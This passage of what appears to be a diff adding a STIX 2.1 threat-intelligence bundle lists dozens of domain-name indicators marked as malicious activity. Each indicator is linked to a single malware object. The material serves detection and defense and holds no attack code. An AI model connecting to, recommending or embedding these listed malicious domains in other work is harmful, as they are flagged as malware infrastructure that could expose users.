"2023-03-29T12:58:44.049277Z", + "modified": "2023-03-29T12:58:44.049277Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa862d82-0bec-454c-a20a-3c480002de9c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5a789f31-f0f1-4147-b87e-4fe599e3a8b4", + "created": "2023-03-29T12:58:44.049449Z", + "modified": "2023-03-29T12:58:44.049449Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='angryheaps.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.049449Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a0ab4a3c-518f-493e-a91b-2c268334d05b", + "created": "2023-03-29T12:58:44.050059Z", + "modified": "2023-03-29T12:58:44.050059Z", + "relationship_type": "indicates", + "source_ref": "indicator--5a789f31-f0f1-4147-b87e-4fe599e3a8b4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0147c00b-cfc4-4dec-ba6c-42bfeb34b950", + "created": "2023-03-29T12:58:44.050227Z", + "modified": "2023-03-29T12:58:44.050227Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wastetightenhub.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.050227Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2fb6bec5-1b64-4384-899f-14b15da40240", + "created": "2023-03-29T12:58:44.050829Z", + "modified": "2023-03-29T12:58:44.050829Z", + "relationship_type": "indicates", + "source_ref": "indicator--0147c00b-cfc4-4dec-ba6c-42bfeb34b950", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35c5fc3b-7626-4bd3-99a0-18ba64972c29", + "created": "2023-03-29T12:58:44.050997Z", + "modified": "2023-03-29T12:58:44.050997Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='orangemake.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.050997Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1fa7d592-8300-41bb-b392-6b53e5a6970d", + "created": "2023-03-29T12:58:44.051592Z", + "modified": "2023-03-29T12:58:44.051592Z", + "relationship_type": "indicates", + "source_ref": "indicator--35c5fc3b-7626-4bd3-99a0-18ba64972c29", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e45efff7-9192-4d3e-9ad4-499195db8211", + "created": "2023-03-29T12:58:44.051761Z", + "modified": "2023-03-29T12:58:44.051761Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stillnice.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.051761Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7bf50587-3264-43b6-b687-2a2a2c370164", + "created": "2023-03-29T12:58:44.052366Z", + "modified": "2023-03-29T12:58:44.052366Z", + "relationship_type": "indicates", + "source_ref": "indicator--e45efff7-9192-4d3e-9ad4-499195db8211", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--126f7c8c-6023-43e8-b6f5-611a844c083a", + "created": "2023-03-29T12:58:44.052533Z", + "modified": "2023-03-29T12:58:44.052533Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unsavedheaddress.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.052533Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7bd9891d-78a8-4406-a8b1-ae66cd7e67d2", + "created": "2023-03-29T12:58:44.053141Z", + "modified": "2023-03-29T12:58:44.053141Z", + "relationship_type": "indicates", + "source_ref": "indicator--126f7c8c-6023-43e8-b6f5-611a844c083a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9783d62c-130e-47ee-9a21-650b16d5dc31", + "created": "2023-03-29T12:58:44.053309Z", + "modified": "2023-03-29T12:58:44.053309Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outragedevouring.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.053309Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ecef236-2ee2-4891-9373-9848422dbf6f", + "created": "2023-03-29T12:58:44.054038Z", + "modified": "2023-03-29T12:58:44.054038Z", + "relationship_type": "indicates", + "source_ref": "indicator--9783d62c-130e-47ee-9a21-650b16d5dc31", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2efc12b3-83a4-424f-985a-f5465660d292", + "created": "2023-03-29T12:58:44.054213Z", + "modified": "2023-03-29T12:58:44.054213Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='emailcringe.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.054213Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d5a5ec4-643a-484b-afa5-8d41a496aa4d", + "created": "2023-03-29T12:58:44.054812Z", + "modified": "2023-03-29T12:58:44.054812Z", + "relationship_type": "indicates", + "source_ref": "indicator--2efc12b3-83a4-424f-985a-f5465660d292", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2d01c5d-a9a0-46ef-8b48-59805af5f126", + "created": "2023-03-29T12:58:44.054981Z", + "modified": "2023-03-29T12:58:44.054981Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bubbleties.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.054981Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9953a33c-73f8-43d8-bf46-5305c460885a", + "created": "2023-03-29T12:58:44.055585Z", + "modified": "2023-03-29T12:58:44.055585Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2d01c5d-a9a0-46ef-8b48-59805af5f126", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5590b0df-75d8-43ed-b55d-9407d8d4db8a", + "created": "2023-03-29T12:58:44.055753Z", + "modified": "2023-03-29T12:58:44.055753Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='headlessimprint.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.055753Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73824fb0-b985-4a51-bc0a-aaa7d110c6c1", + "created": "2023-03-29T12:58:44.056354Z", + "modified": "2023-03-29T12:58:44.056354Z", + "relationship_type": "indicates", + "source_ref": "indicator--5590b0df-75d8-43ed-b55d-9407d8d4db8a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3b03b5cf-c0f1-49ac-8e1c-c0f71d544134", + "created": "2023-03-29T12:58:44.056528Z", + "modified": "2023-03-29T12:58:44.056528Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lecturersenior.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.056528Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--47f94454-5df9-41aa-9667-cd8bec7f21c2", + "created": "2023-03-29T12:58:44.057128Z", + "modified": "2023-03-29T12:58:44.057128Z", + "relationship_type": "indicates", + "source_ref": "indicator--3b03b5cf-c0f1-49ac-8e1c-c0f71d544134", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e6343d8c-d3b8-48a0-a196-5e4008162e1b", + "created": "2023-03-29T12:58:44.057297Z", + "modified": "2023-03-29T12:58:44.057297Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ultimatumgalore.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.057297Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93e938a7-ef8a-4eb1-854f-2fe00dc2b575", + "created": "2023-03-29T12:58:44.057949Z", + "modified": "2023-03-29T12:58:44.057949Z", + "relationship_type": "indicates", + "source_ref": "indicator--e6343d8c-d3b8-48a0-a196-5e4008162e1b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7a5c5af4-c61e-4494-85fb-9a43b7d4aaeb", + "created": "2023-03-29T12:58:44.058125Z", + "modified": "2023-03-29T12:58:44.058125Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='contrascene.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.058125Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a7a150b2-344b-460c-b3f9-8522ced78c9e", + "created": "2023-03-29T12:58:44.058725Z", + "modified": "2023-03-29T12:58:44.058725Z", + "relationship_type": "indicates", + "source_ref": "indicator--7a5c5af4-c61e-4494-85fb-9a43b7d4aaeb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--41b67e71-c315-4fb1-8dcf-8f66d76fd39b", + "created": "2023-03-29T12:58:44.058893Z", + "modified": "2023-03-29T12:58:44.058893Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newtechadapters.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.058893Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9cff816-2991-4489-bb34-413685b2c519", + "created": "2023-03-29T12:58:44.059496Z", + "modified": "2023-03-29T12:58:44.059496Z", + "relationship_type": "indicates", + "source_ref": "indicator--41b67e71-c315-4fb1-8dcf-8f66d76fd39b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--41e99bc7-986b-4419-ac3f-205826b81e03", + "created": "2023-03-29T12:58:44.059664Z", + "modified": "2023-03-29T12:58:44.059664Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='voyageappear.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.059664Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7e0e8cb7-8832-4e02-9bf8-f9cd1ee182a2", + "created": "2023-03-29T12:58:44.060302Z", + "modified": "2023-03-29T12:58:44.060302Z", + "relationship_type": "indicates", + "source_ref": "indicator--41e99bc7-986b-4419-ac3f-205826b81e03", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--20f23c95-f78d-48f3-b6ae-0b7fcdcc521a", + "created": "2023-03-29T12:58:44.060479Z", + "modified": "2023-03-29T12:58:44.060479Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lonemake.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.060479Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0380eb45-3b4d-451c-b2ef-eb59d3a2c663", + "created": "2023-03-29T12:58:44.061192Z", + "modified": "2023-03-29T12:58:44.061192Z", + "relationship_type": "indicates", + "source_ref": "indicator--20f23c95-f78d-48f3-b6ae-0b7fcdcc521a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7622e005-fafb-44da-8a88-9780f5389c77", + "created": "2023-03-29T12:58:44.061368Z", + "modified": "2023-03-29T12:58:44.061368Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='proprietavivian.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.061368Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5affc820-e99b-4b14-89a4-44e8538828ee", + "created": "2023-03-29T12:58:44.061978Z", + "modified": "2023-03-29T12:58:44.061978Z", + "relationship_type": "indicates", + "source_ref": "indicator--7622e005-fafb-44da-8a88-9780f5389c77", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e187b4b2-ed0a-4253-ab9e-71b58c58a26a", + "created": "2023-03-29T12:58:44.062147Z", + "modified": "2023-03-29T12:58:44.062147Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='talkcare.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.062147Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--90a8f1ce-a234-4ec4-a64a-eaca44e04bb7", + "created": "2023-03-29T12:58:44.06274Z", + "modified": "2023-03-29T12:58:44.06274Z", + "relationship_type": "indicates", + "source_ref": "indicator--e187b4b2-ed0a-4253-ab9e-71b58c58a26a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bffcb482-06a1-49e8-9f01-4407d5bae156", + "created": "2023-03-29T12:58:44.062909Z", + "modified": "2023-03-29T12:58:44.062909Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outingjolt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.062909Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5bd3dc51-8348-45bb-becc-23e3014c898d", + "created": "2023-03-29T12:58:44.063504Z", + "modified": "2023-03-29T12:58:44.063504Z", + "relationship_type": "indicates", + "source_ref": "indicator--bffcb482-06a1-49e8-9f01-4407d5bae156", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--69433a60-640b-4701-b4a3-8a82802449d2", + "created": "2023-03-29T12:58:44.063672Z", + "modified": "2023-03-29T12:58:44.063672Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aneurismcharbroil.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.063672Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ac577b31-d25b-4d0a-a753-702356b44c50", + "created": "2023-03-29T12:58:44.064276Z", + "modified": "2023-03-29T12:58:44.064276Z", + "relationship_type": "indicates", + "source_ref": "indicator--69433a60-640b-4701-b4a3-8a82802449d2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d30371b-d79b-4c71-ac92-d7c38958319a", + "created": "2023-03-29T12:58:44.064444Z", + "modified": "2023-03-29T12:58:44.064444Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='roguegrain.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.064444Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b0dc3fb2-1dee-451b-80d1-4db3ee3cab59", + "created": "2023-03-29T12:58:44.065038Z", + "modified": "2023-03-29T12:58:44.065038Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d30371b-d79b-4c71-ac92-d7c38958319a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bf23af08-a194-46b2-b8aa-fb50fb1013b4", + "created": "2023-03-29T12:58:44.065207Z", + "modified": "2023-03-29T12:58:44.065207Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unfittedhandwash.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.065207Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6ab88b63-bed3-4c64-8a6d-a90900d8a163", + "created": "2023-03-29T12:58:44.065819Z", + "modified": "2023-03-29T12:58:44.065819Z", + "relationship_type": "indicates", + "source_ref": "indicator--bf23af08-a194-46b2-b8aa-fb50fb1013b4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f3efa465-b311-4a0c-84db-52ef40da4956", + "created": "2023-03-29T12:58:44.065989Z", + "modified": "2023-03-29T12:58:44.065989Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zshirts.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.065989Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d9de26db-c143-495f-bc51-c053cc47b5c9", + "created": "2023-03-29T12:58:44.066578Z", + "modified": "2023-03-29T12:58:44.066578Z", + "relationship_type": "indicates", + "source_ref": "indicator--f3efa465-b311-4a0c-84db-52ef40da4956", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--34c7a10a-2ead-499a-a3f4-dd3934b89332", + "created": "2023-03-29T12:58:44.06675Z", + "modified": "2023-03-29T12:58:44.06675Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='declineunluckily.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.06675Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--52975df0-2043-4110-a9a7-8ac85ee3e581", + "created": "2023-03-29T12:58:44.067357Z", + "modified": "2023-03-29T12:58:44.067357Z", + "relationship_type": "indicates", + "source_ref": "indicator--34c7a10a-2ead-499a-a3f4-dd3934b89332", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--314afa0a-d1d0-4301-af0f-819643f270af", + "created": "2023-03-29T12:58:44.067526Z", + "modified": "2023-03-29T12:58:44.067526Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spinnerwiry.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.067526Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--32b54bdd-a34b-4b7c-ae99-2296f559c776", + "created": "2023-03-29T12:58:44.068238Z", + "modified": "2023-03-29T12:58:44.068238Z", + "relationship_type": "indicates", + "source_ref": "indicator--314afa0a-d1d0-4301-af0f-819643f270af", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d4c61c55-a1b8-4cce-984b-ed52f1628027", + "created": "2023-03-29T12:58:44.068412Z", + "modified": "2023-03-29T12:58:44.068412Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swervefootless.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.068412Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--47bdefaf-fc85-4630-bfd4-52f731564de2", + "created": "2023-03-29T12:58:44.069014Z", + "modified": "2023-03-29T12:58:44.069014Z", + "relationship_type": "indicates", + "source_ref": "indicator--d4c61c55-a1b8-4cce-984b-ed52f1628027", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--50807981-e894-4a05-ac2b-b0ef609e8fa6", + "created": "2023-03-29T12:58:44.069183Z", + "modified": "2023-03-29T12:58:44.069183Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='golfscowling.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.069183Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dbdbc709-836a-4e69-afff-5132daa97443", + "created": "2023-03-29T12:58:44.069785Z", + "modified": "2023-03-29T12:58:44.069785Z", + "relationship_type": "indicates", + "source_ref": "indicator--50807981-e894-4a05-ac2b-b0ef609e8fa6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--54dc5e74-e13e-4dd5-9bd1-773eb506d4b4", + "created": "2023-03-29T12:58:44.069953Z", + "modified": "2023-03-29T12:58:44.069953Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='buffoonunwilling.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.069953Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4636e2fd-33d5-4e95-9749-60d1c00e5662", + "created": "2023-03-29T12:58:44.070557Z", + "modified": "2023-03-29T12:58:44.070557Z", + "relationship_type": "indicates", + "source_ref": "indicator--54dc5e74-e13e-4dd5-9bd1-773eb506d4b4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1385cea4-2880-4223-af1b-727f4102ca37", + "created": "2023-03-29T12:58:44.070729Z", + "modified": "2023-03-29T12:58:44.070729Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prorateoverlaid.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.070729Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fd678946-5a39-4edf-9361-26980fdae646", + "created": "2023-03-29T12:58:44.071335Z", + "modified": "2023-03-29T12:58:44.071335Z", + "relationship_type": "indicates", + "source_ref": "indicator--1385cea4-2880-4223-af1b-727f4102ca37", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c2ecdc8-db11-4383-a273-43c9814d9eda", + "created": "2023-03-29T12:58:44.071503Z", + "modified": "2023-03-29T12:58:44.071503Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outsidersaid.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.071503Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c3cd92e0-d0a1-40e3-82e7-b25ff8f83ba6", + "created": "2023-03-29T12:58:44.072117Z", + "modified": "2023-03-29T12:58:44.072117Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c2ecdc8-db11-4383-a273-43c9814d9eda", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2e5af01d-d5e7-4a90-bb7d-9bed11ea8ed6", + "created": "2023-03-29T12:58:44.072287Z", + "modified": "2023-03-29T12:58:44.072287Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='commonprenatal.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.072287Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--69eb61fc-1200-4353-964f-fbe9adcc5a87", + "created": "2023-03-29T12:58:44.072887Z", + "modified": "2023-03-29T12:58:44.072887Z", + "relationship_type": "indicates", + "source_ref": "indicator--2e5af01d-d5e7-4a90-bb7d-9bed11ea8ed6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--06bb8241-5ad2-4d4a-b1f0-8656f0c8540d", + "created": "2023-03-29T12:58:44.073054Z", + "modified": "2023-03-29T12:58:44.073054Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thunderyards.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.073054Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2b468e8c-e90c-48ae-a818-02e80ab173ff", + "created": "2023-03-29T12:58:44.073661Z", + "modified": "2023-03-29T12:58:44.073661Z", + "relationship_type": "indicates", + "source_ref": "indicator--06bb8241-5ad2-4d4a-b1f0-8656f0c8540d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a566e92f-2db9-48b9-9d11-b75249517222", + "created": "2023-03-29T12:58:44.073831Z", + "modified": "2023-03-29T12:58:44.073831Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dittoveal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.073831Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--763d47c6-b9d1-46d1-acfb-d041b612d8ea", + "created": "2023-03-29T12:58:44.07446Z", + "modified": "2023-03-29T12:58:44.07446Z", + "relationship_type": "indicates", + "source_ref": "indicator--a566e92f-2db9-48b9-9d11-b75249517222", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa411678-194c-4d98-bb3f-b0c938004685", + "created": "2023-03-29T12:58:44.074636Z", + "modified": "2023-03-29T12:58:44.074636Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='curvedhallway.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.074636Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41eefb91-5e57-4694-be13-3aba91988486", + "created": "2023-03-29T12:58:44.075355Z", + "modified": "2023-03-29T12:58:44.075355Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa411678-194c-4d98-bb3f-b0c938004685", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aefb777d-c892-4a32-a1c8-afff6b07dabd", + "created": "2023-03-29T12:58:44.075529Z", + "modified": "2023-03-29T12:58:44.075529Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='commendparka.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.075529Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e3017a6-4ca2-4ec7-b169-c8ccab097f5b", + "created": "2023-03-29T12:58:44.076129Z", + "modified": "2023-03-29T12:58:44.076129Z", + "relationship_type": "indicates", + "source_ref": "indicator--aefb777d-c892-4a32-a1c8-afff6b07dabd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bf2e2618-cf26-475f-b6f7-5a319ed2b167", + "created": "2023-03-29T12:58:44.076299Z", + "modified": "2023-03-29T12:58:44.076299Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='albumautomatic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.076299Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e473d2b-f0ca-4998-bc73-7430382cdfef", + "created": "2023-03-29T12:58:44.076939Z", + "modified": "2023-03-29T12:58:44.076939Z", + "relationship_type": "indicates", + "source_ref": "indicator--bf2e2618-cf26-475f-b6f7-5a319ed2b167", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cbb8f796-382f-437c-860c-07298b026b27", + "created": "2023-03-29T12:58:44.077112Z", + "modified": "2023-03-29T12:58:44.077112Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cheekhumorous.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.077112Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--adb09570-f390-46b5-af50-985be80b8524", + "created": "2023-03-29T12:58:44.077717Z", + "modified": "2023-03-29T12:58:44.077717Z", + "relationship_type": "indicates", + "source_ref": "indicator--cbb8f796-382f-437c-860c-07298b026b27", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab7bee1a-a1ef-40a3-8210-74ecd4730610", + "created": "2023-03-29T12:58:44.077888Z", + "modified": "2023-03-29T12:58:44.077888Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jobnutshell.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.077888Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": 